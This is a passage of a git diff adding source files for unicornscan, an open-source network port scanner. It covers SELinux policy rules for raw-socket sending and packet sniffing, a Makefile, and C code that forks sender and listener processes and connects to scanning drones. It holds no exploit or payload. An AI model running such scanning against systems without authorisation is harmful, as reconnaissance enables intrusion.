$1_unilisten_t $1_home_dir_t:dir { search }; + +# XXX ummm +allow $1_unisend_t $1_unicornscan_rw_t:file { write }; + +file_type_auto_trans($1_unicornscan_t, $1_unicornscan_rw_t, $1_unicornscan_rw_t); +file_type_auto_trans($1_unilisten_t, $1_unicornscan_rw_t, $1_unicornscan_rw_t); + +allow $1_t $1_unicornscan_rw_t:dir rw_dir_perms; +allow $1_t $1_unicornscan_rw_t:file create_file_perms; + +# seems funny doesnt it +allow $1_unilisten_t $1_unilisten_t:dir { search }; +allow $1_unisend_t $1_unisend_t:dir { search }; + +# ipc +allow $1_unicornscan_t $1_unicornscan_t:tcp_socket { setopt getattr read write bind connect ioctl create shutdown getopt }; +allow $1_unicornscan_t node_inaddr_any_t:tcp_socket { node_bind }; +allow $1_unicornscan_t node_lo_t:node { tcp_send tcp_recv udp_send udp_recv }; +allow $1_unicornscan_t netif_lo_t:netif { tcp_recv tcp_send }; + +allow $1_unilisten_t $1_unilisten_t:tcp_socket { setopt getattr read write bind ioctl create getopt shutdown listen accept }; +allow $1_unilisten_t node_inaddr_any_t:tcp_socket { node_bind }; +allow $1_unilisten_t netif_lo_t:netif { tcp_recv tcp_send }; +allow $1_unilisten_t node_lo_t:node { tcp_recv tcp_send }; +allow $1_unilisten_t node_lo_t:tcp_socket { node_bind }; + +allow $1_unisend_t $1_unisend_t:tcp_socket { setopt getattr read write bind ioctl create getopt shutdown listen accept }; +allow $1_unisend_t node_inaddr_any_t:tcp_socket { node_bind }; +allow $1_unisend_t netif_lo_t:netif { tcp_recv tcp_send }; +allow $1_unisend_t node_lo_t:node { tcp_recv tcp_send }; +allow $1_unisend_t node_lo_t:tcp_socket { node_bind }; + +allow $1_unilisten_t self:unix_stream_socket { create setopt bind listen accept shutdown getopt read write }; +allow $1_unisend_t self:unix_stream_socket { create setopt bind listen accept shutdown getopt read write }; + +allow $1_unicornscan_t $1_unilisten_t:unix_stream_socket { connectto }; +allow $1_unicornscan_t $1_unisend_t:unix_stream_socket { connectto }; + +allow $1_unilisten_t var_t:dir search; +allow $1_unisend_t var_t:dir search; +allow $1_unicornscan_t var_t:dir search; + +allow $1_unilisten_t unicornscan_var_t:dir r_dir_perms; +allow $1_unisend_t unicornscan_var_t:dir r_dir_perms; +allow $1_unicornscan_t unicornscan_var_t:dir r_dir_perms; + +file_type_auto_trans($1_unilisten_t, unicornscan_var_t, unicornscan_ipc_t); +file_type_auto_trans($1_unisend_t, unicornscan_var_t, unicornscan_ipc_t); + +allow $1_unicornscan_t unicornscan_ipc_t:sock_file { read write }; +allow $1_unisend_t unicornscan_ipc_t:sock_file { read write }; +allow $1_unilisten_t unicornscan_ipc_t:sock_file { read write }; + + +# open up /proc/net/route cause it requires less permissions +allow $1_unicornscan_t proc_net_t:dir search; +allow $1_unicornscan_t proc_net_t:file { read getattr }; + +# configuration files +allow $1_unisend_t unicornscan_share_t:file r_file_perms; +allow $1_unisend_t unicornscan_share_t:dir r_dir_perms; +allow $1_unicornscan_t unicornscan_share_t:file r_file_perms; +allow $1_unicornscan_t unicornscan_share_t:dir r_dir_perms; + +# allow sender to set priority to 19 +allow $1_unisend_t $1_unisend_t:process { setsched }; + +# sniffing +allow $1_unilisten_t $1_unilisten_t:capability { net_raw }; #net_admin }; +allow $1_unilisten_t $1_unilisten_t:packet_socket { bind getopt setopt create read ioctl }; +allow $1_unilisten_t $1_unilisten_t:tcp_socket { shutdown }; + +# sender +allow $1_unisend_t $1_unisend_t:rawip_socket { create setopt getopt }; +allow $1_unisend_t $1_unisend_t:capability { net_raw }; +allow $1_unisend_t $1_unisend_t:rawip_socket { write }; +allow $1_unisend_t netif_t:netif { rawip_send }; +allow $1_unisend_t netif_eth0_t:netif { rawip_send }; +allow $1_unisend_t node_t:node { rawip_send }; +# sender needing to ioctl things (arp mode this needs to be removed) +allow $1_unisend_t $1_unisend_t:udp_socket { ioctl create connect read write }; +# link level sending +allow $1_unisend_t $1_unisend_t:packet_socket { bind getopt setopt create write ioctl }; + +# sender over loopback (localhost scanning) +allow $1_unisend_t netif_lo_t:netif { rawip_send }; +allow $1_unisend_t node_lo_t:node { rawip_send }; + +# XXX label this +allow $1_unicornscan_t port_t:tcp_socket { name_bind recv_msg send_msg }; +allow $1_unisend_t port_t:tcp_socket { name_bind recv_msg send_msg }; +allow $1_unilisten_t port_t:tcp_socket { name_bind recv_msg send_msg }; + +# +allow $1_unilisten_t security_t:security { check_context }; +allow $1_unisend_t security_t:security { check_context }; +allow $1_unicornscan_t security_t:security { check_context }; + +# talk to remote database servers +allow $1_unicornscan_t netif_t:netif { tcp_send tcp_recv }; +allow $1_unicornscan_t netif_eth0_t:netif { tcp_send tcp_recv }; +allow $1_unicornscan_t node_t:node { tcp_send tcp_recv }; + +allow $1_unicornscan_t $1_unicornscan_t:process { sigchld }; + +# search / +allow $1_unilisten_t root_t:dir { search }; + +allow $1_unilisten_t $1_devpts_t:chr_file { read write getattr }; +allow $1_unisend_t $1_devpts_t:chr_file { read write getattr }; + +# route lookups, etc + +allow $1_unicornscan_t proc_t:dir { search }; +allow $1_unicornscan_t proc_t:file { getattr read }; +allow $1_unicornscan_t proc_t:lnk_file { read }; + +allow $1_unisend_t proc_t:file { getattr read }; +allow $1_unisend_t proc_t:dir { search }; +allow $1_unisend_t proc_t:lnk_file { read }; + +allow $1_unilisten_t proc_t:dir { search }; +allow $1_unilisten_t proc_t:lnk_file { read }; + +allow $1_unicornscan_t var_run_t:dir { search }; +allow $1_unicornscan_t var_t:dir { search }; + +# allow user to see processes +can_ps($1_t, $1_unicornscan_t) +can_ps($1_t, $1_unisend_t) +can_ps($1_t, $1_unilisten_t) + +# The user role is authorized for this domain. +role $1_r types $1_unicornscan_t; +role $1_r types $1_unisend_t; +role $1_r types $1_unilisten_t; + +uses_shlib($1_unicornscan_t) +uses_shlib($1_unisend_t) +uses_shlib($1_unilisten_t) + +allow $1_unicornscan_t shlib_t:file execmod; +allow $1_unisend_t shlib_t:file execmod; + +allow $1_unicornscan_t etc_t:file { getattr read }; + +# the helpers are setuid root in selinux +allow $1_unisend_t $1_unisend_t:capability { setuid setgid }; +allow $1_unilisten_t $1_unilisten_t:capability { setuid setgid }; + +# Access terminals. +allow $1_unicornscan_t device_t:dir search; +allow $1_unicornscan_t $1_tty_device_t:chr_file rw_file_perms; +allow $1_unicornscan_t $1_devpts_t:chr_file rw_file_perms; + +# Inherit and use descriptors from gnome-pty-helper. +ifdef(`gnome-pty-helper.te', `allow $1_unicornscan_t $1_gph_t:fd use;') + +# XXX +allow $1_unicornscan_t privfd:fd use; +allow $1_unisend_t privfd:fd use; +allow $1_unilisten_t privfd:fd use; + +# quiet +# dontaudit $1_unicornscan_t sysctl_kernel_t:dir { search }; +# dontaudit $1_unicornscan_t sysctl_t:dir { search }; +# dontaudit $1_unilisten_t security_t:dir { search }; +# dontaudit $1_unilisten_t selinux_config_t:dir { search }; +# dontaudit $1_unisend_t security_t:dir { search }; +# dontaudit $1_unisend_t selinux_config_t:dir { search }; +# dontaudit $1_unisend_t sysctl_kernel_t:dir { search }; +# dontaudit $1_unisend_t sysctl_t:dir { search }; +allow $1_unicornscan_t selinux_config_t:dir search; +dontaudit $1_unicornscan_t sysctl_kernel_t:dir search; +dontaudit $1_unicornscan_t sysctl_t:dir search; +allow $1_unilisten_t security_t:dir search; +allow $1_unilisten_t selinux_config_t:dir search; +allow $1_unisend_t security_t:dir search; +allow $1_unisend_t selinux_config_t:dir search; + +dontaudit $1_unisend_t sysctl_kernel_t:dir search; +dontaudit $1_unisend_t sysctl_t:dir search; + +# Access selinuxfs. +allow $1_unilisten_t security_t:dir { read search getattr }; +allow $1_unilisten_t security_t:file { getattr read write }; +allow $1_unilisten_t security_t:security { check_context compute_av compute_create compute_relabel compute_user }; + +allow $1_unisend_t security_t:dir { read search getattr }; +allow $1_unisend_t security_t:file { getattr read write }; +allow $1_unisend_t security_t:security { check_context compute_av compute_create compute_relabel compute_user }; + +ifdef(`postgresql.te', ` +allow $1_unicornscan_t postgresql_port_t:tcp_socket { send_msg recv_msg }; +') + +') diff --git a/src/FMTCAT_ARGS b/src/FMTCAT_ARGS new file mode 100644 index 0000000..a35e81c --- /dev/null +++ b/src/FMTCAT_ARGS @@ -0,0 +1,14 @@ +%% = % +%C = Country ( Via GeoIP ) +%h or %hn ip or hostname +%L or %Ln local port or local service name +%M link address +%o mac OUI +%p or %pn report port or report service name +%r response type +%s or %sn source ip or hostname +%S remote sequence number in hex +%t ttl +%T or %Tn trace ip or trace hostname (if different from %h, otherwise nothing) +%w window size + diff --git a/src/Makefile.in b/src/Makefile.in new file mode 100644 index 0000000..05d1177 --- /dev/null +++ b/src/Makefile.in @@ -0,0 +1,59 @@ +include ../Makefile.inc + +SRCS=chld.c drone_setup.c getconfig.c main.c usignals.c vip.c +OBJS=$(SRCS:.c=.lo) +HDRS=$(SRCS:.c=.h) config.h packageinfo.h settings.h + +G_LDPATH=-L$(BUILD_DIR)/src/unilib -L$(BUILD_DIR)/src/parse -L$(BUILD_DIR)/src/scan_progs +G_LDADD=$(LDFLAGS) -lscan -lparse -lunilib -lpcap -lltdl -ldnet -luext + +# build order matters +SUBDIRS=unilib parse scan_progs tools payload_modules output_modules report_modules + +all: alld @targetname@ + +@targetname@: compile.h $(OBJS) parse/libparse.la scan_progs/libscan.la unilib/libunilib.la + $(LIBTOOL) --mode=link $(CC) -export-dynamic $(CFLAGS) -o @targetname@ $(OBJS) $(G_LDPATH) $(G_LDADD) + +compile.h: ../configure + CC="$(CC)" ./compiledby.sh > compile.h + +alld: + @for g in $(SUBDIRS); do \ + echo "Entering $$g" && cd $$g && @USE_MAKE@ all || exit 1 && cd ..;\ + done + +install: all + @for g in $(SUBDIRS); do \ + echo "Entering $$g" && cd $$g && @USE_MAKE@ install || exit 1 && cd ..;\ + done + mkdir -p $(DESTDIR)/$(bindir) + mkdir -p $(DESTDIR)/$(localstatedir)/@targetname@ + $(INSTALL_PROGRAM) @targetname@ $(DESTDIR)/$(bindir) + $(CHCON) system_u:object_r:unicornscan_exec_t $(DESTDIR)/$(bindir)/@targetname@ + ( cd $(DESTDIR)/$(bindir) && ln -sf unicornscan us ) || exit 1 + +uninstall: + @for g in $(SUBDIRS); do \ + echo "Entering $$g" && cd $$g && @USE_MAKE@ uninstall || exit 1 && cd ..;\ + done + rm -f $(DESTDIR)/$(bindir)/@targetname@ + rm -f $(DESTDIR)/$(bindir)/us + +clean: + $(LIBTOOL) --mode=clean rm -f $(OBJS) @targetname@ + rm -f compile.h + @for g in $(SUBDIRS); do \ + echo "Entering $$g" && cd $$g && @USE_MAKE@ clean || exit 1 && cd ..;\ + done + +distclean: clean + @for g in $(SUBDIRS); do \ + echo "Entering $$g" && cd $$g && @USE_MAKE@ distclean || exit 1 && cd ..;\ + done + +check: + for g in `ls test_scripts`; do \ + echo -e "\nRunning test script $$g\n";\ + ./test_scripts/$$g;\ + done diff --git a/src/chld.c b/src/chld.c new file mode 100644 index 0000000..c64bef6 --- /dev/null +++ b/src/chld.c @@ -0,0 +1,178 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#include + +#include +#include +#include +#include +#include +#include + +#include + +#define MAX_CHILDREN 16 + +static int child_forked=0; + +void chld_init(void) { + + child_forked=0; + + return; +} + +void chld_reapall(void) { + int cnt=0; + + while (child_forked != signals_deadcount()) { + cnt++; + usleep(10000); + if (cnt > 100) { + ERR("am i missing children?, oh well"); + break; + } + } + + return; +} + +int chld_waitsync(void) { + int j=0; + + for (j=0; j < 50; j++) { + /* if a child dies before syncing this will get ugly */ + if (signals_synccount() >= child_forked) { + return 0; + } + usleep(10000); + } + + /* if we dont get the children now, well defer failure until we cant connect to them */ + + return 1; +} + +int chld_fork(void) { + pid_t chld_listener=-1, chld_sender=-1; + char verbose_level[32], sendername[32], listenername[32]; + + sprintf(verbose_level, "%u", s->verbose); + + /* initialize senders */ + if ((s->forklocal & FORK_LOCAL_SENDER) == FORK_LOCAL_SENDER) { + + drone_add(DEF_SENDER); + + chld_sender=fork(); + if (chld_sender < 0) { + ERR("cant fork sender: %s", strerror(errno)); + return -1; + } + else if (chld_sender == 0) { + char *argz[8]; + char *envz[1]; + + sprintf(sendername, "%s", SENDERNAME); + argz[0]=sendername; + argz[1]=s->profile; + argz[2]=s->mod_dir; + argz[3]=verbose_level; + argz[4]=s->debugmaskstr; + argz[5]=s->interface_str; + argz[6]=xstrdup(DEF_SENDER); + argz[7]=NULL; + + envz[0]='\0'; + + DBG(M_CLD, "execve %s %s %s %s %s %s %s %s", + SENDER_PATH, argz[0], argz[1], argz[2], argz[3], argz[4], argz[5], argz[6] + ); + + execve(SENDER_PATH, (char * const *)argz, (char * const *)envz); + + s->forked=1; + terminate("execve `%s' fails", SENDER_PATH); + } + + child_forked++; + + s->forklocal &= ~(FORK_LOCAL_SENDER); + } + else { + DBG(M_CLD, "no local sender will be forked"); + } + + /* initialize listeners */ + if ((s->forklocal & FORK_LOCAL_LISTENER) == FORK_LOCAL_LISTENER) { + + drone_add(DEF_LISTENER); + + chld_listener=fork(); + if (chld_listener < 0) { + ERR("cant fork listener: %s", strerror(errno)); + return -1; + } + else if (chld_listener == 0) { + char *argz[11]; + char *envz[1]; + char mtu[8]; + + snprintf(mtu, sizeof(mtu) -1, "%u", s->vi[0]->mtu); + + sprintf(listenername, "%s", LISTENERNAME); + argz[0]=listenername; + argz[1]=s->profile; + argz[2]=s->mod_dir; + argz[3]=verbose_level; + argz[4]=s->debugmaskstr; + argz[5]=s->interface_str; + argz[6]=s->vi[0]->myaddr_s; + argz[7]=s->vi[0]->hwaddr_s; + argz[8]=(s->pcap_dumpfile == NULL ? xstrdup("none") : s->pcap_dumpfile); + argz[9]=xstrdup(DEF_LISTENER); + argz[10]=NULL; + + envz[0]='\0'; + + DBG(M_CLD, "execve %s %s %s %s %s %s %s %s %s %s %s", + LISTENER_PATH, argz[0], argz[1], argz[2], argz[3], + argz[4], argz[5], argz[6], argz[7], argz[8], argz[9] + ); + execve(LISTENER_PATH, argz, envz); + + s->forked=1; + terminate("execve %s fails", LISTENER_PATH); + } + + child_forked++; + + s->forklocal &= ~(FORK_LOCAL_LISTENER); + } + else { + DBG(M_CLD, "no local listener will be forked"); + } + + return 1; +} diff --git a/src/chld.h b/src/chld.h new file mode 100644 index 0000000..898051b --- /dev/null +++ b/src/chld.h @@ -0,0 +1,33 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _CHLDFORK_H +# define _CHLDFORK_H + +void chld_init(void); + +int chld_fork(void); + +/* wait for children to check in before attempting to ipc with them (if local) */ +int chld_waitsync(void); + +/* try and account for all forked children with a wait() (will eventually give up) */ +void chld_reapall(void); + + +#endif diff --git a/src/compiledby.sh b/src/compiledby.sh new file mode 100755 index 0000000..ac14484 --- /dev/null +++ b/src/compiledby.sh @@ -0,0 +1,15 @@ +#!/bin/sh + +if [ "x" = "x${CC}" ] +then + CC=cc +fi + +# works for gcc and icc, (even uncloaking liars with the name cc) what more do you want.. +CC_VER=`$CC -v 2>&1 | grep '[Vg][ec][rc][s ][iv][oe][nr]' | sed 's/[^0-9\.]//g'` +if [ $CC = "cc" ] +then + CC=`$CC --version 2>/dev/null | awk '$1 ~ /^cc/{gsub("[()]", "", $2);print $2}' | dd conv=lcase 2>/dev/null` +fi + +printf '#define COMPILE_STR "Compiled by %s on %s at %s with %s version %s"\n' "`whoami`" "`uname -snrm`" "`date`" $CC $CC_VER diff --git a/src/config.h.in b/src/config.h.in new file mode 100644 index 0000000..9982b7b --- /dev/null +++ b/src/config.h.in @@ -0,0 +1,349 @@ +/********************************************************************** + * Copyright (C) (2006) (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ + +/* + * you have selinux, or you dont. its not that complex + * only enable this if you _always use_ selinux, you will know + * if you do, otherwise comment this out + */ +#undef WITH_SELINUX + +/* + * GNU/Linux with /usr/include/execinfo.h, otherwise comment it out + */ +#undef WITH_BACKTRACE + +/* + * GNU/Linux and some other (newer) systems might have this, its ok to say no + * even if you dont have this, you just wont have the -- options on the command line + */ +#undef WITH_LONGOPTS + +/* + * most people these days have this file, if you _dont_ have it, then youll need to put the "full path" + * to a file that can be read that contains random data. + */ +#undef RANDOM_DEVICE + +/* + * with linux, define this (or if you have /proc/net/route) + * otherwise use we will make due, remeber to use -i if you dont have /proc/net/route + */ +#undef HAVE_PROC_NET_ROUTE + +/* may not be used, if using MAC */ +#undef NOPRIV_USER + +/* + * cc __attribute__(()) support + */ +#undef HAVE___ATTRIBUTE__ + + +/* XXX */ +#undef CPU_BIGENDIAN +#undef CPU_LITTLEENDIAN +#undef HAVE_LIBGEOIP + +#undef STDC_HEADERS +#undef HAVE_ARPA_INET_H +#undef HAVE_IFADDRS_H +#undef HAVE_INTTYPES_H +#undef HAVE_LIMITS_H +#undef HAVE_MEMORY_H +#undef HAVE_NETINET_IF_ETHER_H +#undef HAVE_NETINET_IN_H +#undef HAVE_NET_BPF_H +#undef HAVE_NET_ETHERNET_H +#undef HAVE_NET_IF_DL_H +#undef HAVE_NET_IF_H +#undef HAVE_PCAP_LIB_VERSION +#undef HAVE_PCAP_SET_NONBLOCK +#undef HAVE_STDINT_H +#undef HAVE_STDLIB_H +#undef HAVE_STRINGS_H +#undef HAVE_STRING_H +#undef HAVE_SYS_ETHERNET_H +#undef HAVE_SYS_SOCKET_H +#undef HAVE_SYS_STAT_H +#undef HAVE_SYS_TIME_H +#undef HAVE_SYS_WAIT_H +#undef HAVE_UNISTD_H +#undef TIME_WITH_SYS_TIME +#undef HAVE_NETDB_H +#undef HAVE_SYS_IOCTL_H +#undef HAVE_FCNTL_H +#undef DEBUG_SUPPORT +#undef HAVE_NETINET_ETHER_H +#undef HAVE_NETPACKET_PACKET_H + + +#undef WITH_MYSQL +#undef WITH_PGSQL + +/* XXX fixme */ +#undef SHLIB_EXT +#undef LTDL_SHLIB_EXT + +#define UNI_SYNC_SIGNAL SIGUSR1 + +/* + * used to find out when spawned processes or connected drones have given us a foul taste for execution, + * causing us to cease our existance in this cruel world + */ +#define MAX_ERRORS 32 + +#define DEF_SOCK_TIMEOUT 8 + +/* you can change this, it doesnt matter, think firewalls */ +#define BINDPORT_START 8000 +#define DEF_LISTEN_ADDR "localhost:1234" + +/* + * by default, 2 processes will be forked, this is where they will listen + */ +#define DEF_SENDER "unix:" LOCALSTATEDIR "/" TARGETNAME "/send" +#define DEF_LISTENER "unix:" LOCALSTATEDIR "/" TARGETNAME "/listen" + +#define DEF_SCANTIMEOUT 7 /* number of seconds to wait for packets coming back */ + +#undef SENDERNAME +#undef TARGETNAME +#undef LISTENERNAME + +#define CONF_DIR SYSCONFDIR "/" TARGETNAME + +#define CONF_FILE CONF_DIR "/%s.conf" +#define DEF_PROFILE "unicorn" + +#define PORT_NUMBERS CONF_DIR "/ports.txt" +#define OUI_CONF CONF_DIR "/oui.txt" +#define MODULE_DIR LIBDIR "/" TARGETNAME "/modules" +#define SENDER_PATH LIBEXECDIR "/" TARGETNAME "/" SENDERNAME +#define LISTENER_PATH LIBEXECDIR "/" TARGETNAME "/" LISTENERNAME + +/* may or may not be used, depending */ +#define CHROOT_DIR LOCALSTATEDIR "/" TARGETNAME + +#define MAX_CONNS 32 /* MAX amount of ipc or pollable connections */ +#define IPC_DSIZE 65536 /* MAX amount of bytes for an ipc message chunk */ + +#ifdef HAVE___ATTRIBUTE__ +# define _PACKED_ __attribute__((packed)) +# define _PRINTF45_ __attribute__((format(printf, 4, 5))) +# define _PRINTF45NR_ __attribute__((format(printf, 4, 5), noreturn)) +# define _PRINTF12NR_ __attribute__((format(printf, 1, 2), noreturn)) +# define _NORETURN_ __attribute__((noreturn)) +#else +# define _PACKED_ +# define _PRINTF45_ +# define _PRINTF45NR_ +# define _PRINTF12NR_ +# define _NORETURN_ +#endif + +#include +#include + +#ifdef HAVE_SYS_STAT_H +# include +#endif + +#ifdef STDC_HEADERS +# include +# include +#else +# ifdef HAVE_STDLIB_H +# include +# endif +#endif +#ifdef HAVE_STRING_H +# if !STDC_HEADERS && HAVE_MEMORY_H +# include +# endif +# include +#endif +#ifdef HAVE_STRINGS_H +# include +#endif +#ifdef HAVE_INTTYPES_H +# include +#else +# ifdef HAVE_STDINT_H +# include +# endif +#endif +#ifdef HAVE_UNISTD_H +# include +#endif + +#if HAVE_SYS_WAIT_H +# include +#endif +#ifndef WEXITSTATUS +# define WEXITSTATUS(stat_val) ((unsigned)(stat_val) >> 8) +#endif +#ifndef WIFEXITED +# define WIFEXITED(stat_val) (((stat_val) & 255) == 0) +#endif + +#if TIME_WITH_SYS_TIME +# include +# include +#else +# if HAVE_SYS_TIME_H +# include +# else +# include +# endif +#endif + +/* dont ask, its not worth trying to understand */ +#ifndef u_int +# define u_int unsigned int +#endif +#ifndef u_short +# define u_short unsigned short +#endif +#ifndef u_char +# define u_char unsigned char +#endif + +#ifdef HAVE_LIMITS_H +# include +#endif + +#ifdef HAVE_SYS_TIME_H +# include +#endif +#ifdef HAVE_SYS_SOCKET_H +# include +#endif +#ifdef HAVE_NETINET_IN_H +# include +#endif +#ifdef HAVE_NET_IF_H +# include +#endif +#ifdef HAVE_NETINET_ETHER_H +# include +#endif +#ifdef HAVE_NETPACKET_PACKET_H +# include +#endif +#ifdef HAVE_IFADDRS_H +# include +#endif +#ifdef HAVE_ARPA_INET_H +# include +#endif +#ifdef HAVE_NET_IF_DL_H +# include +#endif + +#ifdef HAVE_NET_ETHERNET_H +# include +#elif defined(HAVE_NETINET_IF_ETHER_H) +# include +#elif defined(HAVE_SYS_ETHERNET_H) +# include +#endif + +#ifdef HAVE_NETDB_H +# include +#endif +#ifdef HAVE_SYS_IOCTL_H +# include +#endif +#ifdef HAVE_FCNTL_H +# include +#endif + +#if defined(solaris) || (defined(__SVR4) && defined(sun)) +# define SOLARIS 1 +#endif + +#ifndef BYTE_ORDER +# ifndef LITTLE_ENDIAN +# define LITTLE_ENDIAN 1234 +# endif +# ifndef BIG_ENDIAN +# define BIG_ENDIAN 4321 +# endif +# if defined(CPU_BIGENDIAN) +# define BYTE_ORDER BIG_ENDIAN +# elif defined(CPU_LITTLEENDIAN) +# define BYTE_ORDER LITTLE_ENDIAN +# else +# error PDP bad, weirdo +# endif +#endif /* BYTE ORDER */ + +#ifndef PATH_MAX +#define PATH_MAX 512 +#endif +#ifndef INT_MAX +# define INT_MAX 0x7fffffff /* seems good to me, i dont really feel like checking */ +#endif + +#include + +/* some older boxes will require this gross stuff here */ +#ifndef suseconds_t +#define suseconds_t long +#endif + +#define assert(x) \ + if (!(x)) { \ + PANIC("Assertion `%s' fails", # x); \ + } + +#define THE_ONLY_SUPPORTED_HWADDR_LEN 6 + +#ifdef MAX +# undef MAX +#endif +#ifdef MIN +# undef MIN +#endif +#ifdef SWAP +# undef SWAP +#endif + +#define MAX(x, y) ((x) > (y) ? (x) : (y)) +#define MIN(x, y) ((x) < (y) ? (x) : (y)) +#define SWAP(x, y) \ + (x) ^= (y); \ + (y) ^= (x); \ + (x) ^= (y) +#define CLEAR(m) memset((m), 0, sizeof(m)) + +#ifdef HAVE_STRUCT_SOCKADDR_LEN +struct f_s { + uint8_t len; + uint8_t family; +}; +#else +struct f_s { + uint16_t family; +}; +#endif + +#define SSTFMT "%zd" +#define STFMT "%zu" diff --git a/src/drone_setup.c b/src/drone_setup.c new file mode 100644 index 0000000..9fe1994 --- /dev/null +++ b/src/drone_setup.c @@ -0,0 +1,257 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +int drone_setup(void) { + uint8_t status=0, msg_type=0, ecount=0; + size_t msg_len=0; + uint8_t *ptr=NULL; + uint32_t all_done=0; + drone_t *c=NULL; + union { + uint8_t *ptr; + drone_version_t *v; + } d_u; + int laggers=0; + + if (s->drone_str != NULL) { + DBG(M_DRN, "setup drones `%s'", s->drone_str); + + if (drone_parselist((const char *)s->drone_str) < 0) { + return -1; + } + } + + /* do stuff to figure out if there are working drones */ + DBG(M_DRN, "drone list is %d big, connecting to them.", s->dlh->size); + + do { + uint8_t *dummy=NULL; + + if (s->dlh->head == NULL) { + ERR("no drones?, thats not going to work, must have been a bad drone string"); + return -1; + } + + for (c=s->dlh->head ; c != NULL ; c=c->next) { + + DBG(M_DRN, "this node %p status %s type %s uri %s socket %d (%d out of %d ready)", + c, strdronestatus(c->status), strdronetype(c->type), c->uri, c->s, all_done, s->dlh->size + ); + + if (ecount > MAX_ERRORS) { + ERR("too many errors, giving up on drones"); + return -1; + } + + switch (c->status) { + /* connect to it */ + case DRONE_STATUS_UNKNOWN: + laggers=drone_connect(); + break; + + /* find out what it is */ + case DRONE_STATUS_CONNECTED: + if (c->s < 0) { + ERR("connected drone with bad socket?, marking dead"); + drone_updatestate(c, DRONE_STATUS_DEAD); + } + + c->type=DRONE_TYPE_UNKNOWN; + if (send_message(c->s, MSG_IDENT, MSG_STATUS_OK, dummy, 0) < 0) { + ecount++; + ERR("cant ident message node, marking as dead"); + if (ecount > MAX_ERRORS) { + drone_updatestate(c, DRONE_STATUS_DEAD); + break; + } + } + else { + if (get_singlemessage(c->s, &msg_type, &status, &d_u.ptr, &msg_len) != 1) { + ERR("unexpected message response from fd %d, marking as dead", c->s); + drone_updatestate(c, DRONE_STATUS_DEAD); + break; + } + + if (msg_len != sizeof(drone_version_t)) { + ERR("drone on fd %d didnt identify its version, marking as dead", c->s); + drone_updatestate(c, DRONE_STATUS_DEAD); + break; + } + else if (d_u.v->magic != DRONE_MAGIC) { + ERR("drone on fd %d isnt really a drone it seems, marking dead, magic was %08x", + c->s, d_u.v->magic + ); + drone_updatestate(c, DRONE_STATUS_DEAD); + break; + } + + VRB(1, "drone type %s on fd %d is version %u.%u", + strdronetype(c->type), c->s, d_u.v->maj, d_u.v->min + ); + + if (d_u.v->maj != DRONE_MAJ || d_u.v->min != DRONE_MIN) { + ERR("drone on fd %d has different version, marking as dead", c->s); + drone_updatestate(c, DRONE_STATUS_DEAD); + break; + } + + switch (msg_type) { + case MSG_IDENTSENDER: + c->type=DRONE_TYPE_SENDER; + s->senders++; + break; + + case MSG_IDENTLISTENER: + c->type=DRONE_TYPE_LISTENER; + s->listeners++; + break; + + default: + ERR("unknown drone type from message %s", strmsgtype(msg_type)); + c->type=DRONE_TYPE_UNKNOWN; + break; + } + + if (send_message(c->s, MSG_ACK, MSG_STATUS_OK, dummy, 0) < 0) { + ERR("cant ack ident message from node on fd %d, marking as dead", c->s); + drone_updatestate(c, DRONE_STATUS_DEAD); + } + + c->status=DRONE_STATUS_IDENT; + } + break; + + /* wait for it to say its ready */ + case DRONE_STATUS_IDENT: + if (get_singlemessage(c->s, &msg_type, &status, &ptr, &msg_len) != 1) { + ERR("unexpected message reply from drone on fd %d, marking as dead", c->s); + drone_updatestate(c, DRONE_STATUS_DEAD); + } + else if (msg_type == MSG_READY) { + + c->status=DRONE_STATUS_READY; + DBG(M_DRN, "drone on fd %d is ready", c->s); + + if (c->type == DRONE_TYPE_LISTENER) { + union { + listener_info_t *l; + uint8_t *ptr; + } l_u; + + if (msg_len != sizeof(listener_info_t)) { + ERR("listener didnt send me the correct information, marking dead"); + drone_updatestate(c, DRONE_STATUS_DEAD); + } + l_u.ptr=ptr; + + /* XXX ADD VIP */ + s->vi[0]->mtu=l_u.l->mtu; + memcpy(&s->vi[0]->myaddr, &l_u.l->myaddr, sizeof(struct sockaddr_storage)); + memcpy(&s->vi[0]->mymask, 